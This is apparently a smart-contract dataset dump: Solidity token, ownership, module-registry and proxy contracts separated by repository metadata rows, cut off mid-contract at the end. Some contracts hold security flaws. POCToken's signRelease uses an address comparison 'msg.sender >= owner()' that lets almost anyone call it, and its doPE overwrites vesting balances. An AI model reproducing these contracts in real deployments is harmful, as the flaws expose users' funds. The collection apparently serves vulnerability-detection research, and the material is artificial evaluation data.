amountOfTokens = 1200 * (10**uint256(decimals));
}
if(_weiAmount == 0.005 ether){
amountOfTokens = 1500 * (10**uint256(decimals));
}
if(_weiAmount == 0.006 ether){
amountOfTokens = 1800 * (10**uint256(decimals));
}
if(_weiAmount == 0.007 ether){
amountOfTokens = 2100 * (10**uint256(decimals));
}
if(_weiAmount == 0.008 ether){
amountOfTokens = 2400 * (10**uint256(decimals));
}
if(_weiAmount == 0.009 ether){
amountOfTokens = 2700 * (10**uint256(decimals));
}
if(_weiAmount == 0.01 ether){
amountOfTokens = 3000 * (10**uint256(decimals));
}
if(_weiAmount == 0.02 ether){
amountOfTokens = 6000 * (10**uint256(decimals));
}
if(_weiAmount == 0.03 ether){
amountOfTokens = 9000 * (10**uint256(decimals));
}
if(_weiAmount == 0.04 ether){
amountOfTokens = 12000 * (10**uint256(decimals));
}
if(_weiAmount == 0.05 ether){
amountOfTokens = 15000 * (10**uint256(decimals));
}
if(_weiAmount == 0.06 ether){
amountOfTokens = 18000 * (10**uint256(decimals));
}
if(_weiAmount == 0.07 ether){
amountOfTokens = 21000 * (10**uint256(decimals));
}
if(_weiAmount == 0.08 ether){
amountOfTokens = 24000 * (10**uint256(decimals));
}
if(_weiAmount == 0.09 ether){
amountOfTokens = 27000 * (10**uint256(decimals));
}
if(_weiAmount == 0.1 ether){
amountOfTokens = 30 * 10**3 * (10**uint256(decimals));
}
if(_weiAmount == 0.2 ether){
amountOfTokens = 60 * 10**3 * (10**uint256(decimals));
}
if(_weiAmount == 0.3 ether){
amountOfTokens = 90 * 10**3 * (10**uint256(decimals));
}
if(_weiAmount == 0.4 ether){
amountOfTokens = 120 * 10**3 * (10**uint256(decimals));
}
if(_weiAmount == 0.5 ether){
amountOfTokens = 225 * 10**3 * (10**uint256(decimals));
}
if(_weiAmount == 0.6 ether){
amountOfTokens = 180 * 10**3 * (10**uint256(decimals));
}
if(_weiAmount == 0.7 ether){
amountOfTokens = 210 * 10**3 * (10**uint256(decimals));
}
if(_weiAmount == 0.8 ether){
amountOfTokens = 240 * 10**3 * (10**uint256(decimals));
}
if(_weiAmount == 0.9 ether){
amountOfTokens = 270 * 10**3 * (10**uint256(decimals));
}
if(_weiAmount == 1 ether){
amountOfTokens = 600 * 10**3 * (10**uint256(decimals));
}
return amountOfTokens;
}
function mint(address _to, uint256 _amount, address _owner) internal returns (bool) {
require(_to != address(0));
require(_amount <= balances[_owner]);
balances[_to] = balances[_to].add(_amount);
balances[_owner] = balances[_owner].sub(_amount);
Transfer(_owner, _to, _amount);
return true;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function changeOwner(address _newOwner) onlyOwner public returns (bool){
require(_newOwner != address(0));
OwnerChanged(owner, _newOwner);
owner = _newOwner;
return true;
}
function startSale() public onlyOwner {
saleToken = true;
}
function stopSale() public onlyOwner {
saleToken = false;
}
function enableTransfers(bool _transfersEnabled) onlyOwner public {
transfersEnabled = _transfersEnabled;
}
function claimTokens() public onlyOwner {
owner.transfer(this.balance);
uint256 balance = balanceOf(this);
transfer(owner, balance);
Transfer(this, owner, balance);
}
}
| 214,569 | 11,276 |
f5cd1f06fd8647e1af66ff5413c2012c32e61e53948ec2fc5f88792460d96133
| 17,849 |
.sol
|
Solidity
| false |
519123139
|
JolyonJian/contracts
|
b48d691ba0c2bfb014a03e2b15bf7faa40900020
|
contracts/6670_12089_0xfa0454af6544d9f2cf9551e8948b0a6c0341cf46.sol
| 2,806 | 10,437 |
pragma solidity >=0.4.22 <0.7.0;
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0));
return role.bearer[account];
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _burnFrom(address account, uint256 value) internal {
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
emit Approval(account, msg.sender, _allowed[account][msg.sender]);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
contract POCToken is Ownable, ERC20Detailed, ERC20 {
using Roles for Roles.Role;
mapping (address => uint256) private stage1;
mapping (address => uint256) private stage2;
mapping (address => uint256) private stage3;
mapping (address => uint256) private stage4;
uint private _releaseDate;
address _peholder;
event PETransfer(address,uint, uint);
constructor()
ERC20Detailed("POC ERC20 TOKEN", "POC", 4)
ERC20()
public {
_mint(msg.sender,100*(10**8)*(10**4));
}
function getStage() public view returns (uint) {
uint elasped;
uint8 stage=0;
elasped = now - _releaseDate;
if (now < _releaseDate) {
stage = 0;
}else if(elasped > 90 days) {
stage = 4;
}else if (elasped > 60 days) {
stage = 3;
}else if (elasped > 30 days) {
stage = 2;
}else{
stage = 1;
}
return stage;
}
function transfer(address to, uint256 value) public returns (bool) {
if (msg.sender == _peholder) {
return doPE(to,value);
}else {
//
if (_balances[msg.sender] < value && _releaseDate != 0 && now > _releaseDate) {
uint stage = getStage();
if (stage >= 1 && stage1[msg.sender] > 0) {
_balances[msg.sender] = _balances[msg.sender].add(stage1[msg.sender]);
stage1[msg.sender] = 0;
}
if (stage >= 2 && stage2[msg.sender] > 0) {
_balances[msg.sender] = _balances[msg.sender].add(stage2[msg.sender]);
stage2[msg.sender] = 0;
}
if (stage >= 3 && stage3[msg.sender] > 0) {
_balances[msg.sender] = _balances[msg.sender].add(stage3[msg.sender]);
stage3[msg.sender] = 0;
}
if (stage >= 4 && stage4[msg.sender] > 0) {
_balances[msg.sender] = _balances[msg.sender].add(stage4[msg.sender]);
stage4[msg.sender] = 0;
}
}
_transfer(msg.sender, to, value);
return true;
}
}
function doPE(address to, uint value) private returns (bool) {
require(_balances[_peholder] > value);
uint eachValue = value / 4;
if (eachValue > 0) {
stage1[to] = eachValue;
stage2[to] = eachValue;
stage3[to] = eachValue;
stage4[to] = eachValue;
_balances[_peholder] = _balances[_peholder].sub(value);
return true;
}else{
return false;
}
}
function signRelease(uint release) public returns (bool) {
require(_releaseDate == 0);
require(msg.sender >= owner() || msg.sender == _peholder);
_releaseDate = release;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner] + stage1[owner] + stage2[owner] +stage3[owner] + stage4[owner];
}
function getAllBalance(address owner) public view returns (uint256,uint256,uint256,uint256,uint256) {
return (_balances[owner],stage1[owner],stage2[owner],stage3[owner],stage4[owner]);
}
function setPEHolder(address newPE) public onlyOwner returns (bool) {
_peholder = newPE;
return true;
}
function getPEHolder() public view returns (address){
return _peholder;
}
}
| 230,878 | 11,277 |
32722f65123706a8a67b1533b7e068e392ac9a1881591bf9f7830eb21ceb1c07
| 27,504 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x31d85fffd7e38bd42d2ae0409ac149e3ef0fd92c.sol
| 4,077 | 16,052 |
pragma solidity ^0.4.24;
contract IModuleRegistry {
function useModule(address _moduleFactory) external;
function registerModule(address _moduleFactory) external returns(bool);
function getTagByModuleType(uint8 _moduleType) public view returns(bytes32[]);
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
}
contract IModuleFactory is Ownable {
ERC20 public polyToken;
uint256 public setupCost;
uint256 public usageCost;
uint256 public monthlySubscriptionCost;
event LogChangeFactorySetupFee(uint256 _oldSetupcost, uint256 _newSetupCost, address _moduleFactory);
event LogChangeFactoryUsageFee(uint256 _oldUsageCost, uint256 _newUsageCost, address _moduleFactory);
event LogChangeFactorySubscriptionFee(uint256 _oldSubscriptionCost, uint256 _newMonthlySubscriptionCost, address _moduleFactory);
event LogGenerateModuleFromFactory(address _module, bytes32 indexed _moduleName, address indexed _moduleFactory, address _creator, uint256 _timestamp);
constructor (address _polyAddress, uint256 _setupCost, uint256 _usageCost, uint256 _subscriptionCost) public {
polyToken = ERC20(_polyAddress);
setupCost = _setupCost;
usageCost = _usageCost;
monthlySubscriptionCost = _subscriptionCost;
}
//Should create an instance of the Module, or throw
function deploy(bytes _data) external returns(address);
function getType() public view returns(uint8);
function getName() public view returns(bytes32);
function getDescription() public view returns(string);
function getTitle() public view returns(string);
function getInstructions() public view returns (string);
function getTags() public view returns (bytes32[]);
//Pull function sig from _data
function getSig(bytes _data) internal pure returns (bytes4 sig) {
uint len = _data.length < 4 ? _data.length : 4;
for (uint i = 0; i < len; i++) {
sig = bytes4(uint(sig) + uint(_data[i]) * (2 ** (8 * (len - 1 - i))));
}
}
function changeFactorySetupFee(uint256 _newSetupCost) public onlyOwner {
emit LogChangeFactorySetupFee(setupCost, _newSetupCost, address(this));
setupCost = _newSetupCost;
}
function changeFactoryUsageFee(uint256 _newUsageCost) public onlyOwner {
emit LogChangeFactoryUsageFee(usageCost, _newUsageCost, address(this));
usageCost = _newUsageCost;
}
function changeFactorySubscriptionFee(uint256 _newSubscriptionCost) public onlyOwner {
emit LogChangeFactorySubscriptionFee(monthlySubscriptionCost, _newSubscriptionCost, address(this));
monthlySubscriptionCost = _newSubscriptionCost;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from,
address _to,
uint256 _value)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner,
address _spender)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(address _spender,
uint _addedValue)
public
returns (bool)
{
allowed[msg.sender][_spender] = (allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender,
uint _subtractedValue)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
contract IST20 is StandardToken, DetailedERC20 {
// off-chain hash
string public tokenDetails;
//transfer, transferFrom must respect use respect the result of verifyTransfer
function verifyTransfer(address _from, address _to, uint256 _amount) public returns (bool success);
function mint(address _investor, uint256 _amount) public returns (bool success);
function burn(uint256 _value) public;
event Minted(address indexed to, uint256 amount);
event Burnt(address indexed _burner, uint256 _value);
}
contract ISecurityToken is IST20, Ownable {
uint8 public constant PERMISSIONMANAGER_KEY = 1;
uint8 public constant TRANSFERMANAGER_KEY = 2;
uint8 public constant STO_KEY = 3;
uint8 public constant CHECKPOINT_KEY = 4;
uint256 public granularity;
// Value of current checkpoint
uint256 public currentCheckpointId;
// Total number of non-zero token holders
uint256 public investorCount;
// List of token holders
address[] public investors;
// Permissions this to a Permission module, which has a key of 1
function checkPermission(address _delegate, address _module, bytes32 _perm) public view returns(bool);
function getModule(uint8 _moduleType, uint _moduleIndex) public view returns (bytes32, address);
function getModuleByName(uint8 _moduleType, bytes32 _name) public view returns (bytes32, address);
function totalSupplyAt(uint256 _checkpointId) public view returns(uint256);
function balanceOfAt(address _investor, uint256 _checkpointId) public view returns(uint256);
function createCheckpoint() public returns(uint256);
function getInvestorsLength() public view returns(uint256);
}
contract ISecurityTokenRegistry {
bytes32 public protocolVersion = "0.0.1";
mapping (bytes32 => address) public protocolVersionST;
struct SecurityTokenData {
string symbol;
string tokenDetails;
}
mapping(address => SecurityTokenData) securityTokens;
mapping(string => address) symbols;
function generateSecurityToken(string _name, string _symbol, string _tokenDetails, bool _divisible) public;
function setProtocolVersion(address _stVersionProxyAddress, bytes32 _version) public;
function getSecurityTokenAddress(string _symbol) public view returns (address);
function getSecurityTokenData(address _securityToken) public view returns (string, address, string);
function isSecurityToken(address _securityToken) public view returns (bool);
}
contract Pausable {
event Pause(uint256 _timestammp);
event Unpause(uint256 _timestamp);
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function _pause() internal {
require(!paused);
paused = true;
emit Pause(now);
}
function _unpause() internal {
require(paused);
paused = false;
emit Unpause(now);
}
}
contract ReclaimTokens is Ownable {
function reclaimERC20(address _tokenContract) external onlyOwner {
require(_tokenContract != address(0));
ERC20Basic token = ERC20Basic(_tokenContract);
uint256 balance = token.balanceOf(address(this));
require(token.transfer(owner, balance));
}
}
contract PolymathRegistry is ReclaimTokens {
mapping (bytes32 => address) public storedAddresses;
event LogChangeAddress(string _nameKey, address indexed _oldAddress, address indexed _newAddress);
function getAddress(string _nameKey) view public returns(address) {
bytes32 key = keccak256(bytes(_nameKey));
require(storedAddresses[key] != address(0), "Invalid address key");
return storedAddresses[key];
}
function changeAddress(string _nameKey, address _newAddress) public onlyOwner {
bytes32 key = keccak256(bytes(_nameKey));
emit LogChangeAddress(_nameKey, storedAddresses[key], _newAddress);
storedAddresses[key] = _newAddress;
}
}
contract RegistryUpdater is Ownable {
address public polymathRegistry;
address public moduleRegistry;
address public securityTokenRegistry;
address public tickerRegistry;
address public polyToken;
constructor (address _polymathRegistry) public {
require(_polymathRegistry != address(0));
polymathRegistry = _polymathRegistry;
}
function updateFromRegistry() onlyOwner public {
moduleRegistry = PolymathRegistry(polymathRegistry).getAddress("ModuleRegistry");
securityTokenRegistry = PolymathRegistry(polymathRegistry).getAddress("SecurityTokenRegistry");
tickerRegistry = PolymathRegistry(polymathRegistry).getAddress("TickerRegistry");
polyToken = PolymathRegistry(polymathRegistry).getAddress("PolyToken");
}
}
contract ModuleRegistry is IModuleRegistry, Pausable, RegistryUpdater, ReclaimTokens {
mapping (address => uint8) public registry;
// Mapping used to hold the reputation of the factory
mapping (address => address[]) public reputation;
// Mapping contain the list of addresses of Module factory for a particular type
mapping (uint8 => address[]) public moduleList;
// contains the list of verified modules
mapping (address => bool) public verified;
// Contains the list of the available tags corresponds to the module type
mapping (uint8 => bytes32[]) public availableTags;
// Emit when Module been used by the securityToken
event LogModuleUsed(address indexed _moduleFactory, address indexed _securityToken);
// Emit when the Module Factory get registered with the ModuleRegistry contract
event LogModuleRegistered(address indexed _moduleFactory, address indexed _owner);
// Emit when the module get verified by the Polymath team
event LogModuleVerified(address indexed _moduleFactory, bool _verified);
constructor (address _polymathRegistry) public
RegistryUpdater(_polymathRegistry)
{
}
function useModule(address _moduleFactory) external {
//If caller is a registered security token, then register module usage
if (ISecurityTokenRegistry(securityTokenRegistry).isSecurityToken(msg.sender)) {
require(registry[_moduleFactory] != 0, "ModuleFactory type should not be 0");
//To use a module, either it must be verified, or owned by the ST owner
require(verified[_moduleFactory]||(IModuleFactory(_moduleFactory).owner() == ISecurityToken(msg.sender).owner()),
"Module factory is not verified as well as not called by the owner");
reputation[_moduleFactory].push(msg.sender);
emit LogModuleUsed (_moduleFactory, msg.sender);
}
}
function registerModule(address _moduleFactory) external whenNotPaused returns(bool) {
require(registry[_moduleFactory] == 0, "Module factory should not be pre-registered");
IModuleFactory moduleFactory = IModuleFactory(_moduleFactory);
require(moduleFactory.getType() != 0, "Factory type should not equal to 0");
registry[_moduleFactory] = moduleFactory.getType();
moduleList[moduleFactory.getType()].push(_moduleFactory);
reputation[_moduleFactory] = new address[](0);
emit LogModuleRegistered (_moduleFactory, moduleFactory.owner());
return true;
}
function verifyModule(address _moduleFactory, bool _verified) external onlyOwner returns(bool) {
//Must already have been registered
require(registry[_moduleFactory] != 0, "Module factory should have been already registered");
verified[_moduleFactory] = _verified;
emit LogModuleVerified(_moduleFactory, _verified);
return true;
}
function getTagByModuleType(uint8 _moduleType) public view returns(bytes32[]) {
return availableTags[_moduleType];
}
function addTagByModuleType(uint8 _moduleType, bytes32[] _tag) public onlyOwner {
for (uint8 i = 0; i < _tag.length; i++) {
availableTags[_moduleType].push(_tag[i]);
}
}
function removeTagByModuleType(uint8 _moduleType, bytes32[] _removedTags) public onlyOwner {
for (uint8 i = 0; i < availableTags[_moduleType].length; i++) {
for (uint8 j = 0; j < _removedTags.length; j++) {
if (availableTags[_moduleType][i] == _removedTags[j]) {
delete availableTags[_moduleType][i];
}
}
}
}
function unpause() public onlyOwner {
_unpause();
}
function pause() public onlyOwner {
_pause();
}
}
| 207,520 | 11,278 |
16dfa4354b32eb442b5cfaa7f8887e0f392273cd02008691e58329182444dde8
| 16,652 |
.sol
|
Solidity
| false |
468407125
|
tintinweb/smart-contract-sanctuary-optimism
|
5f86f1320e8b5cdf11039be240475eff1303ed67
|
contracts/mainnet/88/883A0E7b329Df75476d9378462522CF2f78Fab3d_ProxyPerpsV2.sol
| 2,853 | 12,374 |
pragma solidity ^0.5.16;
// https://docs.synthetix.io/contracts/source/contracts/owned
contract Owned {
address public owner;
address public nominatedOwner;
constructor(address _owner) public {
require(_owner != address(0), "Owner address cannot be 0");
owner = _owner;
emit OwnerChanged(address(0), _owner);
}
function nominateNewOwner(address _owner) external onlyOwner {
nominatedOwner = _owner;
emit OwnerNominated(_owner);
}
function acceptOwnership() external {
require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership");
emit OwnerChanged(owner, nominatedOwner);
owner = nominatedOwner;
nominatedOwner = address(0);
}
modifier onlyOwner {
_onlyOwner();
_;
}
function _onlyOwner() private view {
require(msg.sender == owner, "Only the contract owner may perform this action");
}
event OwnerNominated(address newOwner);
event OwnerChanged(address oldOwner, address newOwner);
}
// Inheritance
// Internal references
// https://docs.synthetix.io/contracts/source/contracts/proxy
contract Proxy is Owned {
Proxyable public target;
constructor(address _owner) public Owned(_owner) {}
function setTarget(Proxyable _target) external onlyOwner {
target = _target;
emit TargetUpdated(_target);
}
function _emit(bytes calldata callData,
uint numTopics,
bytes32 topic1,
bytes32 topic2,
bytes32 topic3,
bytes32 topic4) external onlyTarget {
uint size = callData.length;
bytes memory _callData = callData;
assembly {
switch numTopics
case 0 {
log0(add(_callData, 32), size)
}
case 1 {
log1(add(_callData, 32), size, topic1)
}
case 2 {
log2(add(_callData, 32), size, topic1, topic2)
}
case 3 {
log3(add(_callData, 32), size, topic1, topic2, topic3)
}
case 4 {
log4(add(_callData, 32), size, topic1, topic2, topic3, topic4)
}
}
}
// solhint-disable no-complex-fallback
function() external payable {
// Mutable call setting Proxyable.messageSender as this is using call not delegatecall
target.setMessageSender(msg.sender);
assembly {
let free_ptr := mload(0x40)
calldatacopy(free_ptr, 0, calldatasize)
let result := call(gas, sload(target_slot), callvalue, free_ptr, calldatasize, 0, 0)
returndatacopy(free_ptr, 0, returndatasize)
if iszero(result) {
revert(free_ptr, returndatasize)
}
return(free_ptr, returndatasize)
}
}
modifier onlyTarget {
require(Proxyable(msg.sender) == target, "Must be proxy target");
_;
}
event TargetUpdated(Proxyable newTarget);
}
// Inheritance
// Internal references
// https://docs.synthetix.io/contracts/source/contracts/proxyable
contract Proxyable is Owned {
// This contract should be treated like an abstract contract
Proxy public proxy;
address public messageSender;
constructor(address payable _proxy) internal {
// This contract is abstract, and thus cannot be instantiated directly
require(owner != address(0), "Owner must be set");
proxy = Proxy(_proxy);
emit ProxyUpdated(_proxy);
}
function setProxy(address payable _proxy) external onlyOwner {
proxy = Proxy(_proxy);
emit ProxyUpdated(_proxy);
}
function setMessageSender(address sender) external onlyProxy {
messageSender = sender;
}
modifier onlyProxy {
_onlyProxy();
_;
}
function _onlyProxy() private view {
require(Proxy(msg.sender) == proxy, "Only the proxy can call");
}
modifier optionalProxy {
_optionalProxy();
_;
}
function _optionalProxy() private {
if (Proxy(msg.sender) != proxy && messageSender != msg.sender) {
messageSender = msg.sender;
}
}
modifier optionalProxy_onlyOwner {
_optionalProxy_onlyOwner();
_;
}
// solhint-disable-next-line func-name-mixedcase
function _optionalProxy_onlyOwner() private {
if (Proxy(msg.sender) != proxy && messageSender != msg.sender) {
messageSender = msg.sender;
}
require(messageSender == owner, "Owner only function");
}
event ProxyUpdated(address proxyAddress);
}
pragma experimental ABIEncoderV2;
// Inheritance
// Internal references
// https://docs.synthetix.io/contracts/source/contracts/ProxyPerpsV2
contract ProxyPerpsV2 is Owned {
struct Route {
bytes4 selector;
address implementation;
bool isView;
}
// Route definition and index to quickly access it
Route[] internal _routes;
mapping(bytes4 => uint) internal _routeIndexes;
mapping(address => uint) internal _targetReferences;
// list of valid target addresses (more than zero references in the routes)
address[] internal _routedTargets;
constructor(address _owner) public Owned(_owner) {}
function _contains(bytes4 selector) internal view returns (bool) {
if (_routes.length == 0) {
return false;
}
uint index = _routeIndexes[selector];
return index != 0 || _routes[0].selector == selector;
}
function _removeTargetReference(address implementation) internal {
require(_targetReferences[implementation] > 0, "Target not referenced.");
// Decrement the references
_targetReferences[implementation] -= 1;
// if was the latest reference, remove it from the _routedTargets and emit an event
if (_targetReferences[implementation] == 0) {
for (uint idx = 0; idx < _routedTargets.length; idx++) {
if (_routedTargets[idx] == implementation) {
_routedTargets[idx] = _routedTargets[_routedTargets.length - 1];
_routedTargets.pop();
break;
}
}
emit TargetedRouteRemoved(implementation);
}
}
function addRoute(bytes4 selector,
address implementation,
bool isView) external onlyOwner {
require(selector != bytes4(0), "Invalid nil selector");
if (_contains(selector)) {
// Update data
Route storage route = _routes[_routeIndexes[selector]];
// Remove old implementation reference
_removeTargetReference(route.implementation);
route.selector = selector;
route.implementation = implementation;
route.isView = isView;
} else {
// Add data
_routeIndexes[selector] = _routes.length;
Route memory newRoute;
newRoute.selector = selector;
newRoute.implementation = implementation;
newRoute.isView = isView;
_routes.push(newRoute);
}
// Add to targeted references
_targetReferences[implementation] += 1;
if (_targetReferences[implementation] == 1) {
// First reference, add to routed targets and emit the event
_routedTargets.push(implementation);
emit TargetedRouteAdded(implementation);
}
emit RouteUpdated(selector, implementation, isView);
}
function removeRoute(bytes4 selector) external onlyOwner {
require(_contains(selector), "Selector not in set.");
// Replace the removed selector with the last selector of the list.
uint index = _routeIndexes[selector];
uint lastIndex = _routes.length - 1; // We required that selector is in the list, so it is not empty.
// Remove target reference
_removeTargetReference(_routes[index].implementation);
// Ensure target is in latest index
if (index != lastIndex) {
// No need to shift the last selector if it is the one we want to delete.
Route storage shiftedElement = _routes[lastIndex];
_routes[index] = shiftedElement;
_routeIndexes[shiftedElement.selector] = index;
}
// Remove target
_routes.pop();
delete _routeIndexes[selector];
emit RouteRemoved(selector);
}
function getRoute(bytes4 selector) external view returns (Route memory) {
if (!_contains(selector)) {
return Route(0, address(0), false);
}
return _routes[_routeIndexes[selector]];
}
function getRoutesLength() external view returns (uint) {
return _routes.length;
}
function getRoutesPage(uint index, uint pageSize) external view returns (Route[] memory) {
uint endIndex = index + pageSize; // The check below that endIndex <= index handles overflow.
// If the page extends past the end of the list, truncate it.
if (endIndex > _routes.length) {
endIndex = _routes.length;
}
if (endIndex <= index) {
return new Route[](0);
}
uint n = endIndex - index; // We already checked for negative overflow.
Route[] memory page = new Route[](n);
for (uint i; i < n; i++) {
page[i] = _routes[i + index];
}
return page;
}
function getAllTargets() external view returns (address[] memory) {
return _routedTargets;
}
///// BASED ON PROXY.SOL /////
function _emit(bytes calldata callData,
uint numTopics,
bytes32 topic1,
bytes32 topic2,
bytes32 topic3,
bytes32 topic4) external onlyTargets {
uint size = callData.length;
bytes memory _callData = callData;
assembly {
switch numTopics
case 0 {
log0(add(_callData, 32), size)
}
case 1 {
